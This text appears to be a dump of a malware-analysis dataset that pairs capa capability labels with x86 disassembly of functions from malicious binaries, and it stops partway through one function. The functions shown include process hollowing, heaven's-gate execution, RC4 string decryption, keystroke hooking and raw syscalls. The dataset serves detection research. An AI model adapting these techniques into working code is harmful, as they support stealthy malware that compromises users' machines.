joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Get windows directory from kuser_shared_data
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x448
call fcn.00401190
xor eax, eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
mov word [esp + 0x44], ax
lea eax, [esp + 0x2c]
push eax
push 0x1e
push 0x4d07d0
call fcn.00403a30
xor eax, eax
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov byte [esp + 0x20], al
lea eax, [esp + 0xc]
push eax
push 0x19
push 0x4d083c
call fcn.00403a30
lea eax, [esp + 0x44]
push 0
push eax
call fcn.00401aa0
add esp, 0x20
test eax, eax
je 0x401182
push esi
mov esi, dword [eax + 0x18]
push edi
call fcn.00401190
test esi, esi
je 0x4010bb
mov eax, dword [esi + 0x3c]
test eax, eax
je 0x4010bb
mov ecx, dword [eax + esi + 0x7c]
test ecx, ecx
je 0x4010bb
mov eax, dword [eax + esi + 0x78]
test eax, eax
je 0x4010bb
lea edx, [esp + 8]
push edx
push ecx
lea edx, [eax + esi]
mov ecx, esi
call fcn.004035a0
add esp, 8
mov edi, eax
test edi, edi
jne 0x4010da
mov eax, dword [0x817050]
test eax, eax
je 0x401180
lea ecx, [esp + 8]
push ecx
push esi
call eax
mov edi, eax
test edi, edi
je 0x401180
xor eax, eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
lea eax, [esp + 0x20]
push eax
push 0x18
push 0x4d0804
call fcn.00403a30
push 0x400
lea eax, [esp + 0x60]
push 0
push eax
call fcn.004018d0
mov ecx, 0x7ffe0030
add esp, 0x18
xor edx, edx
lea esi, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x401120
sub ecx, esi
sar ecx, 1
je 0x401180
add ecx, 0xb
cmp ecx, 0x200
ja 0x401180
xor eax, eax
test ecx, ecx
je 0x40115a
movzx esi, word [edx + edx + 0x7ffe0030]
test si, si
je 0x40115a
mov word [esp + edx*2 + 0x50], si
inc eax
inc edx
cmp eax, ecx
jb 0x401142
xor eax, eax
test ecx, ecx
je 0x401179
lea edx, [esp + edx*2 + 0x50]
movzx esi, word [esp + eax*2 + 0x20]
test si, si
je 0x401179
mov word [edx], si
inc eax
add edx, 2
cmp eax, ecx
jb 0x401164
lea eax, [esp + 0x50]
push eax
call edi
pop edi
pop esi
add esp, 0x448
ret
Function at 0x401550
Capabilities:
Get windows directory from kuser_shared_data

Disassembly:
sub esp, 0x20c
push ebx
push ebp
mov ebp, dword [0x817058]
push esi
push edi
mov edi, ecx
test ebp, ebp
je 0x40167a
cmp dword [0x81705c], 0
jne 0x401665
xor eax, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov word [esp + 0x18], ax
mov byte [esp + 0x1a], al
lea eax, [esp + 0x10]
push eax
push 0xf
push 0x4d086c
call fcn.00403a30
push 0x200
lea eax, [esp + 0x2c]
push 0
push eax
call fcn.004018d0
mov edx, 0x7ffe0030
add esp, 0x18
xor ecx, ecx
lea esi, [edx + 2]
lea esp, [esp]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x4015c0
sub edx, esi
sar edx, 1
je 0x40167a
mov esi, edi
lea ebx, [esi + 1]
lea ebx, [ebx]
mov al, byte [esi]
inc esi
test al, al
jne 0x4015e0
sub esi, ebx
add edx, 0xc
add edx, esi
cmp edx, 0x200
ja 0x40167a
xor eax, eax
test edx, edx
je 0x401617
movzx ebx, word [eax + eax + 0x7ffe0030]
test bx, bx
je 0x401617
mov byte [esp + eax + 0x1c], bl
inc ecx
inc eax
cmp eax, edx
jb 0x401600
xor eax, eax
test edx, edx
je 0x401632
lea ecx, [ecx]
mov bl, byte [esp + eax + 0x10]
test bl, bl
je 0x401632
mov byte [esp + ecx + 0x1c], bl
inc eax
inc ecx
cmp eax, edx
jb 0x401620
xor eax, eax
test edx, edx
je 0x40164f
lea ecx, [esp + ecx + 0x1c]
lea esp, [esp]
mov bl, byte [eax + edi]
test bl, bl
je 0x40164f
mov byte [ecx], bl
inc eax
inc ecx
cmp eax, edx
jb 0x401640
push 8
push 0
lea eax, [esp + 0x24]
push eax
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
push 0x800
push 0
push edi
call ebp
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20c
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x20c
ret
Function at 0x4032f0
Capabilities:
64-bit execution via heavens gate

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
lea edx, [ebp + 0x10]
sub esp, 0x40
push ebx
push esi
push edi
test ecx, ecx
jle 0x403318
mov eax, dword [ebp + 0x10]
lea edx, [ebp + 0x18]
dec ecx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], ecx
mov dword [ebp - 0xc], eax
jmp 0x403326
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
test ecx, ecx
jle 0x40333f
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x18], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x14], eax
jmp 0x40334d
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
test ecx, ecx
jle 0x403366
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x1c], eax
jmp 0x403374
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
test ecx, ecx
jle 0x40338d
dec ecx
add edx, 8
mov dword [ebp + 0xc], ecx
mov eax, dword [edx - 8]
mov dword [ebp - 0x28], eax
mov eax, dword [edx - 4]
mov dword [ebp - 0x24], eax
jmp 0x40339b
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov eax, edx
mov dword [ebp - 0x30], 0
cdq
mov dword [ebp - 0x40], eax
mov eax, ecx
mov dword [ebp - 0x3c], edx
cdq
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov word [ebp - 8], fs
mov eax, 0x2b
mov fs, ax
mov dword [ebp - 4], esp
and esp, 0xfffffff0
push 0x33
call 0x4033e2
add dword [esp], 5
retf

Function at 0x403470
Capabilities:
Check os version

Disassembly:
mov ecx, 1
mov edx, 0x817198
xor eax, eax
lock cmpxchg dword [edx], ecx
test eax, eax
jne 0x403599
cmp dword fs:[0xc0], eax
je 0x40349b
mov dword [0x817194], 1
mov eax, dword fs:[0x18]
push ebx
push esi
mov ebx, 1
mov esi, dword [eax + 0x30]
mov eax, dword [esi + 0xa4]
mov dword [0x81707c], eax
mov eax, dword [esi + 0xa8]
mov dword [0x817080], eax
movzx edx, word [esi + 0xac]
mov dword [0x817084], edx
mov eax, dword [esi + 0xb0]
mov dword [0x817088], eax
mov eax, dword [esi + 0x1f4]
test eax, eax
je 0x4034fb
push 0x7f
push eax
push 0x81708c
call fcn.00402520
mov edx, dword [0x817084]
add esp, 0xc
jmp 0x403503
xor eax, eax
mov word [0x81708c], ax
movzx eax, byte [esi + 0xaf]
mov ecx, 0xff
mov word [0x81718c], ax
movzx eax, word [esi + 0xae]
and ax, cx
mov word [0x81718e], ax
movzx eax, word [0x7ffe02d0]
mov word [0x817190], ax
mov ecx, eax
mov byte [0x817192], 0
cmp byte [0x7ffe0268], 0
je 0x40354a
mov ebx, dword [0x7ffe0264]
pop esi
mov byte [0x817192], bl
cmp ebx, 1
pop ebx
jne 0x403564
and ecx, 0xffef
mov word [0x817190], cx
test edx, edx
jne 0x403599
call fcn.00403470
cmp dword [0x81707c], 6
ja 0x403599
jb 0x403581
cmp dword [0x817080], 4
jae 0x403599
call fcn.00403470
cmp dword [0x81707c], 0xa
jae 0x403599
mov dword [0x817084], 1
ret
Function at 0x403a30
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x108
push ebp
mov ebp, dword [esp + 0x110]
lea eax, [esp + 0xc]
push esi
push edi
push 0x100
push 0
lea esi, [ebp + 4]
push eax
mov dword [esp + 0x1c], esi
call fcn.004018d0
add esp, 0xc
xor edi, edi
test esi, esi
je 0x403b1e
test ebp, ebp
je 0x403b1e
push ebx
mov ebx, dword [esp + 0x124]
test ebx, ebx
je 0x403b1d
xor eax, eax
nop
mov byte [esp + eax + 0x18], al
inc eax
cmp eax, 0x100
jb 0x403a80
xor esi, esi
mov edi, edi
mov dl, byte [esp + esi + 0x18]
mov eax, esi
and eax, 3
movzx ecx, dl
movzx eax, byte [eax + ebp]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [esp + edi + 0x18]
mov byte [esp + esi + 0x18], al
inc esi
mov byte [esp + edi + 0x18], dl
cmp esi, 0x100
jb 0x403a90
mov esi, dword [esp + 0x120]
xor edi, edi
mov dword [esp + 0x10], edi
add esi, 0xfffffffc
je 0x403b1d
mov ebp, dword [esp + 0x14]
sub ebp, ebx
lea eax, [edi + 1]
movzx edi, al
lea ebx, [ebx + 1]
mov eax, dword [esp + 0x10]
mov cl, byte [esp + edi + 0x18]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [esp + 0x10], eax
movzx eax, byte [esp + eax + 0x18]
mov byte [esp + edi + 0x18], al
mov eax, dword [esp + 0x10]
mov byte [esp + eax + 0x18], cl
movzx eax, byte [esp + edi + 0x18]
add eax, edx
movzx eax, al
movzx eax, byte [esp + eax + 0x18]
xor al, byte [ebx + ebp - 1]
mov byte [ebx - 1], al
sub esi, 1
jne 0x403ad4
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x108
ret

Function at 0x403b30
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword fs:[0x18]
xor ecx, ecx
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0x3c]
movzx eax, word [eax + 0x38]
shr eax, 1
lea eax, [edx + eax*2]
cmp eax, edx
jb 0x403b67
mov edi, edi
cmp word [eax], 0x5c
je 0x403b5e
sub eax, 2
inc ecx
cmp eax, edx
jae 0x403b50
cmp ecx, 0xb
jae 0x403c33
push ebx
push esi
mov esi, 0xfffffffd
mov edi, edi
mov bl, 1
xor edx, edx
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x8172a0]
add byte [edx + 0x8171a0], al
mov cl, byte [ecx + 0x8171a0]
add byte [edx + 0x8171a0], cl
inc edx
cmp edx, 0x100
jb 0x403b74
mov bl, 1
xor edx, edx
nop
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x8172a0]
xor byte [edx + 0x8171a0], al
mov cl, byte [ecx + 0x8171a0]
xor byte [edx + 0x8171a0], cl
inc edx
cmp edx, 0x100
jb 0x403ba0
mov bl, 1
xor edx, edx
jmp 0x403bd0
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x8172a0]
sub byte [edx + 0x8171a0], al
movzx eax, byte [edx + 0x8171a0]
sub al, byte [ecx + 0x8171a0]
mov byte [edx + 0x8171a0], al
inc edx
cmp edx, 0x100
jb 0x403bd0
mov bl, 1
xor eax, eax
movzx edx, bl
inc bl
movzx ecx, byte [edx + 0x8172a0]
xor byte [eax + 0x8171a0], cl
mov dl, byte [edx + 0x8171a0]
xor byte [eax + 0x8171a0], dl
inc eax
cmp eax, 0x100
jb 0x403c02
sub esi, 1
jne 0x403b70
pop esi
pop ebx
ret
Function at 0x403c40
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
mov esi, 0x2000000
mov bl, 1
xor edx, edx
jmp 0x403c50
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x8172a0]
add byte [edx + 0x8171a0], al
mov cl, byte [ecx + 0x8171a0]
add byte [edx + 0x8171a0], cl
inc edx
cmp edx, 0x100
jb 0x403c50
mov bl, 1
xor edx, edx
jmp 0x403c80
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x8172a0]
xor byte [edx + 0x8171a0], al
mov cl, byte [ecx + 0x8171a0]
xor byte [edx + 0x8171a0], cl
inc edx
cmp edx, 0x100
jb 0x403c80
mov bl, 1
xor edx, edx
jmp 0x403cb0
movzx ecx, bl
inc bl
movzx eax, byte [ecx + 0x8172a0]
sub byte [edx + 0x8171a0], al
movzx eax, byte [edx + 0x8171a0]
sub al, byte [ecx + 0x8171a0]
mov byte [edx + 0x8171a0], al
inc edx
cmp edx, 0x100
jb 0x403cb0
mov bl, 1
xor eax, eax
movzx edx, bl
inc bl
movzx ecx, byte [edx + 0x8172a0]
xor byte [eax + 0x8171a0], cl
mov dl, byte [edx + 0x8171a0]
xor byte [eax + 0x8171a0], dl
inc eax
cmp eax, 0x100
jb 0x403ce2
sub esi, 1
jne 0x403c47
pop esi
pop ebx
ret

Function at 0x4193c2
Capabilities:
Execute syscall

Disassembly:
mov edx, esp
sysenter
ret
Function at 0xae49a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xb28e10
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push ebx
push esi
push edi
mov eax, dword [0xb42014]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 1
lea eax, [ebp + 0x20]
cmp dword [ebp + 0x34], 0x10
mov ecx, 0xb430ec
push dword [ebp + 0x30]
cmovae eax, dword [ebp + 0x20]
push eax
call fcn.00af80c0
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
push dword [ebp + 0x18]
cmovae eax, dword [ebp + 8]
mov ecx, 0xb42a8c
push eax
call fcn.00af80c0
mov esi, dword [0xb430fc]
xor ebx, ebx
mov edi, dword [0xb43100]
nop word [eax + eax]
cmp edi, 0x10
mov byte [ebx + 0xb46390], bl
mov eax, ebx
mov ecx, 0xb430ec
cmovae ecx, dword [0xb430ec]
cdq
idiv esi
mov al, byte [edx + ecx]
mov byte [ebx + 0xb464a0], al
inc ebx
cmp ebx, 0x100
jl 0xae4a20
xor edi, edi
xor esi, esi
mov dl, byte [esi + 0xb46390]
movzx eax, byte [esi + 0xb464a0]
add edi, eax
movzx ecx, dl
add edi, ecx
and edi, 0x800000ff
jns 0xae4a74
dec edi
or edi, 0xffffff00
inc edi
mov al, byte [edi + 0xb46390]
mov byte [esi + 0xb46390], al
inc esi
mov byte [edi + 0xb46390], dl
cmp esi, 0x100
jl 0xae4a50
mov esi, dword [ebp - 0x10]
mov ecx, esi
call fcn.00ae4690
mov edx, dword [ebp + 0x1c]
cmp edx, 0x10
jb 0xae4ac9
mov ecx, dword [ebp + 8]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xae4abf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xae4b1f
push edx
push ecx
call fcn.00afd663
add esp, 8
mov edx, dword [ebp + 0x34]
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 0xf
mov byte [ebp + 8], 0
cmp edx, 0x10
jb 0xae4b0b
mov ecx, dword [ebp + 0x20]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xae4b01
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xae4b1f
push edx
push ecx
call fcn.00afd663
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.00b16c6a
int3
Function at 0xae70a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x188
mov eax, dword [0xb42014]
xor eax, esp
mov dword [esp + 0x184], eax
push esi
push edi
push 0x104
lea eax, [esp + 0x84]
mov esi, ecx
push eax
push 0
call 0x4800147
nop
mov eax, 0x5a4d
cmp word [esi], ax
jne 0xae7289
mov edi, dword [esi + 0x3c]
add edi, esi
cmp dword [edi], 0x4550
jne 0xae7289
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.00b140f0
add esp, 0xc
lea eax, [esp + 0x20]
xorps xmm0, xmm0
movaps xmmword [esp + 0x20], xmm0
push eax
lea eax, [esp + 0x3c]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xa4]
push eax
call 0x4800224
nop
test eax, eax
je 0xae7289
push 4
push 0x1000
push 4
push 0
call 0x47f0ea2
nop
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call 0x47e0006
nop
test eax, eax
je 0xae7289
push 0
push 4
lea eax, [esp + 0x24]
push eax
push 0xb38df8
push dword [esp + 0x30]
call 0x47e02e2
nop
mov eax, dword [edi + 0x34]
cmp dword [esp + 0x1c], eax
jne 0xae71ac
push 0xb38dfc
push 0xb38e14
call 0x47f0ab1
nop
push eax
call 0x47e0096
nop
push dword [esp + 0x1c]
push dword [esp + 0x24]
call eax
mov eax, dword [edi + 0x34]
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call 0x47e0220
nop
mov dword [esp + 0x14], eax
test eax, eax
je 0xae7289
push 0
push dword [edi + 0x54]
push esi
push eax
push dword [esp + 0x30]
call 0x4800088
nop
xor eax, eax
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0xae7243
mov dword [esp + 0xc], eax
call fcn.00ae6ef0
push eax
call 0x47f09be
nop
mov ecx, dword [esp + 0xc]
add ecx, esi
add ecx, dword [esi + 0x3c]
push 0
push dword [ecx + 0x108]
mov eax, dword [ecx + 0x10c]
add eax, esi
push eax
mov eax, dword [ecx + 0x104]
add eax, dword [esp + 0x20]
push eax
push dword [esp + 0x30]
call 0x4800088
nop
mov ecx, dword [esp + 0x10]
movzx eax, word [edi + 6]
inc ecx
add dword [esp + 0xc], 0x28
mov dword [esp + 0x10], ecx
cmp ecx, eax
jl 0xae71f2
push 0
push 4
lea eax, [edi + 0x34]
push eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
push dword [esp + 0x30]
call 0x4800088
nop
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x14]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call 0x47e036f
nop
push dword [esp + 0x24]
call 0x47f0bbc
nop
push 0x8000
push 0
push esi
call 0x4800000
nop
mov ecx, dword [esp + 0x18c]
mov al, 1
pop edi
pop esi
xor ecx, esp
call fcn.00afcff1
mov esp, ebp
pop ebp
ret
Function at 0xaeaf20
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0xb29726
mov eax, dword fs:[0]
push eax
sub esp, 0x438
mov eax, dword [0xb42014]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x414], ebx
push 0
mov dword [ebp - 0x414], ebx
call fcn.00b18b63
push eax
call fcn.00b16660
add esp, 8
call fcn.00b1663f
cdq
mov ecx, 0x3313
idiv ecx
mov edi, edx
call fcn.00b1663f
mov ecx, eax
mov eax, 0x55555556
imul ecx
mov esi, edx
shr esi, 0x1f
add esi, edx
imul esi, edi
call fcn.00b1663f
imul edx, eax, 0x4d
lea ecx, [ebp - 0x444]
add edx, 0x64
add edx, esi
call fcn.00ae45b0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x444]
cmp dword [ebp - 0x430], 0x10
lea edx, [ebp - 0x410]
cmovae eax, dword [ebp - 0x444]
sub edx, eax
nop
mov cl, byte [eax]
lea eax, [eax + 1]
mov byte [edx + eax - 1], cl
test cl, cl
jne 0xaeafd0
lea esi, [ebp - 0x410]
lea ecx, [esi + 1]
mov al, byte [esi]
inc esi
test al, al
jne 0xaeafe6
push 0x40
push 0
push 0xb48560
sub esi, ecx
call fcn.00b140f0
add esp, 0xc
mov dword [0xb48554], 0
mov edx, esi
mov dword [0xb48550], 0
lea ecx, [ebp - 0x410]
mov dword [0xb48540], 0x67452301
mov dword [0xb48544], 0xefcdab89
mov dword [0xb48548], 0x98badcfe
mov dword [0xb4854c], 0x10325476
call fcn.00ae5530
call fcn.00ae55f0
mov ecx, 0xb465a0
mov dword [ebp - 0x41c], 0
mov dword [ebp - 0x418], 0xf
mov byte [ebp - 0x42c], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0xaeb071
sub ecx, edx
push ecx
push 0xb465a0
lea ecx, [ebp - 0x42c]
call fcn.00af80c0
mov dword [ebp - 4], 0xffffffff
mov edx, dword [ebp - 0x430]
cmp edx, 0x10
jb 0xaeb0cc
mov ecx, dword [ebp - 0x444]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xaeb0c2
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xaeb18c
push edx
push ecx
call fcn.00afd663
add esp, 8
mov dword [ebp - 0x434], 0
mov dword [ebp - 0x430], 0xf
mov byte [ebp - 0x444], 0
mov dword [ebp - 4], 1
mov eax, dword [ebp - 0x41c]
mov dword [ebx + 0x10], 0
mov dword [ebx + 0x14], 0xf
mov byte [ebx], 0
cmp eax, 1
jb 0xaeb187
dec eax
mov ecx, 0xa
cmp eax, ecx
cmovb ecx, eax
cmp dword [ebp - 0x418], 0x10
lea eax, [ebp - 0x42c]
cmovae eax, dword [ebp - 0x42c]
push ecx
inc eax
mov ecx, ebx
push eax
call fcn.00af80c0
mov edx, dword [ebp - 0x418]
cmp edx, 0x10
jb 0xaeb169
mov ecx, dword [ebp - 0x42c]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0xaeb15f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0xaeb18c
push edx
push ecx
call fcn.00afd663
add esp, 8
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00afcff1
mov esp, ebp
pop ebp
ret
call fcn.00af8200
call fcn.00b16c6a
int3
Function at 0xafdcc7
Capabilities:
Parse pe header

Disassembly:
push 0
call 0x4820000
nop
test eax, eax
je 0xafdd07
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0xafdd07
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0xafdd07
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0xafdd07
cmp dword [ecx + 0x74], 0xe
jbe 0xafdd07
cmp dword [ecx + 0xe8], 0
je 0xafdd07
mov al, 1
ret
xor al, al
ret
Function at 0x4014f0
Capabilities:
Create tcp socket
Create udp socket

Disassembly:
sub esp, 0x18
mov eax, dword [0x452944]
mov ecx, dword [0x44e0f0]
mov dword [esp + 0x14], eax
mov eax, dword [0x44e0f4]
sub eax, ecx
mov ecx, dword [0x44e10c]
push ebx
push ebp
lea edx, [eax + ecx + 0x165d6f]
mov eax, dword [esp + 0x2c]
test eax, eax
push esi
push edi
mov dword [0x44e0f8], edx
mov dword [esp + 0x10], 0
jle 0x401650
mov edi, dword [esp + 0x2c]
mov ebx, dword [sym.imp.WS2_32.dll_htons]
mov ebp, dword [sym.imp.WS2_32.dll_htonl]
mov eax, dword [esp + 0x10]
test eax, eax
je 0x401557
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0x44e0f0]
mov eax, dword [str._r_____r____]
mov edx, dword [0x44e0fc]
add eax, ecx
mov ecx, dword [0x44e0ec]
lea eax, [edx + eax + 0xf8684]
sub ecx, dword [0x44e0f4]
mov edx, dword [0x44e100]
mov dword [0x44e0fc], eax
lea eax, [edx + ecx + 0x122d1c]
push edi
mov word [esp + 0x18], 2
mov dword [0x44e100], eax
call ebx
push 0
mov word [esp + 0x1a], ax
call ebp
mov ecx, dword [0x44e0f0]
mov edx, dword [0x44e100]
push 0
mov dword [esp + 0x1c], eax
mov eax, dword [0x44e10c]
add edx, ecx
push 1
lea ecx, [edx + eax + 0xcf3f9]
push 2
mov dword [0x44e104], ecx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x40166c
push 0x10
lea edx, [esp + 0x18]
push edx
push esi
call dword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x401666
mov eax, dword [0x44e0f0]
mov ecx, dword [0x44e104]
mov edx, dword [0x44e0ec]
sub eax, ecx
sub eax, edx
add eax, 0x5522e
push esi
mov dword [0x44e108], eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [0x44e100]
mov esi, dword [0x44e0fc]
mov edx, dword [0x44e0f4]
sub ecx, esi
lea eax, [ecx + edx - 0x7396]
mov ecx, dword [esp + 0x34]
mov dword [0x44e10c], eax
mov eax, dword [esp + 0x10]
inc eax
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x401544
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x14]
call fcn.00424991
add esp, 0x18
ret
mov ecx, dword [esp + 0x30]
mov dword [ecx], esi
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.00424991
add esp, 0x18
ret

Function at 0x4016a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x4016b9
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x4016cd
pop esi
pop edi
xor eax, eax
pop ebx
ret
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x4016ee
cmp esi, eax
jae 0x4016c7
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x4016e0
cmp esi, eax
jae 0x4016c7
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret
Function at 0x4059b0
Capabilities:
Log keystrokes via application hook

Disassembly:
mov ecx, dword [0x4518f4]
push ebx
imul ecx, ecx, 0x62fe
push esi
mov esi, dword [0x4518d8]
push edi
mov edi, dword [0x4518e8]
mov eax, 0x58fba7b7
imul edi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
sub edx, eax
mov eax, dword [section.HookData]
sub edx, esi
test eax, eax
mov esi, dword [0x4518dc]
lea ebx, [edx + esi + 0xd46b]
mov dword [str._r_____r_____n], ebx
jne 0x405a5e
mov eax, dword [0x563950]
test eax, eax
jne 0x405a5e
mov ecx, dword [0x4518ec]
mov eax, 0xd45237bd
imul ecx, ecx, 0x5c10
imul edi
sar edx, 0xd
mov eax, edx
shr eax, 0x1f
add eax, edx
mov esi, eax
sub esi, ecx
mov ecx, dword [0x4518f0]
mov eax, 0x27a02fad
imul ecx
sar edx, 0xb
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, dword [0x4518d4]
sub esi, ecx
add esi, ebx
lea eax, [edx + esi - 0x5a74]
pop edi
pop esi
mov dword [0x4518d4], eax
mov eax, 1
pop ebx
ret
mov ebx, dword [0x4518ec]
push ebp
mov eax, 0x7225d683
imul esi
mov ebp, ebx
sar edx, 0xf
imul ebp, ebp, 0xd4a0
mov eax, edx
shr eax, 0x1f
add ebp, edx
mov edx, dword [0x4518e0]
add eax, ebp
sub eax, ecx
sub eax, edx
add eax, 0x131b4
mov dword [0x4518d8], eax
mov eax, 0x57bc6617
imul esi
sar edx, 0xd
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0xf1bde717
imul edi
sar edx, 0xc
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, ecx
mov ecx, dword [0x4518f4]
sub eax, ebx
lea edx, [eax + ecx - 0x5a6f]
mov eax, dword [section.HookData]
push eax
mov dword [0x4518dc], edx
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov esi, dword [0x4518e4]
mov ecx, eax
xor ebx, ebx
cmp ecx, ebx
je 0x405b34
mov edi, dword [0x4518e8]
mov ebp, dword [0x4518d8]
mov eax, 0x9a5307c5
imul ebp, ebp, 0xd4a0
imul edi
add edx, edi
sar edx, 0xf
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, esi
imul edx, edx, 0x33af
sub ebp, eax
add ebp, dword [0x4518f0]
lea eax, [edx + ebp + 0xc49d]
mov dword [0x4518e0], eax
mov dword [section.HookData], ebx
mov dword [0x563950], ebx
mov eax, 0xa5820cf9
imul esi
add edx, esi
sar edx, 0xe
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x4518f4]
imul edx, edx, 0x5a75
mov esi, eax
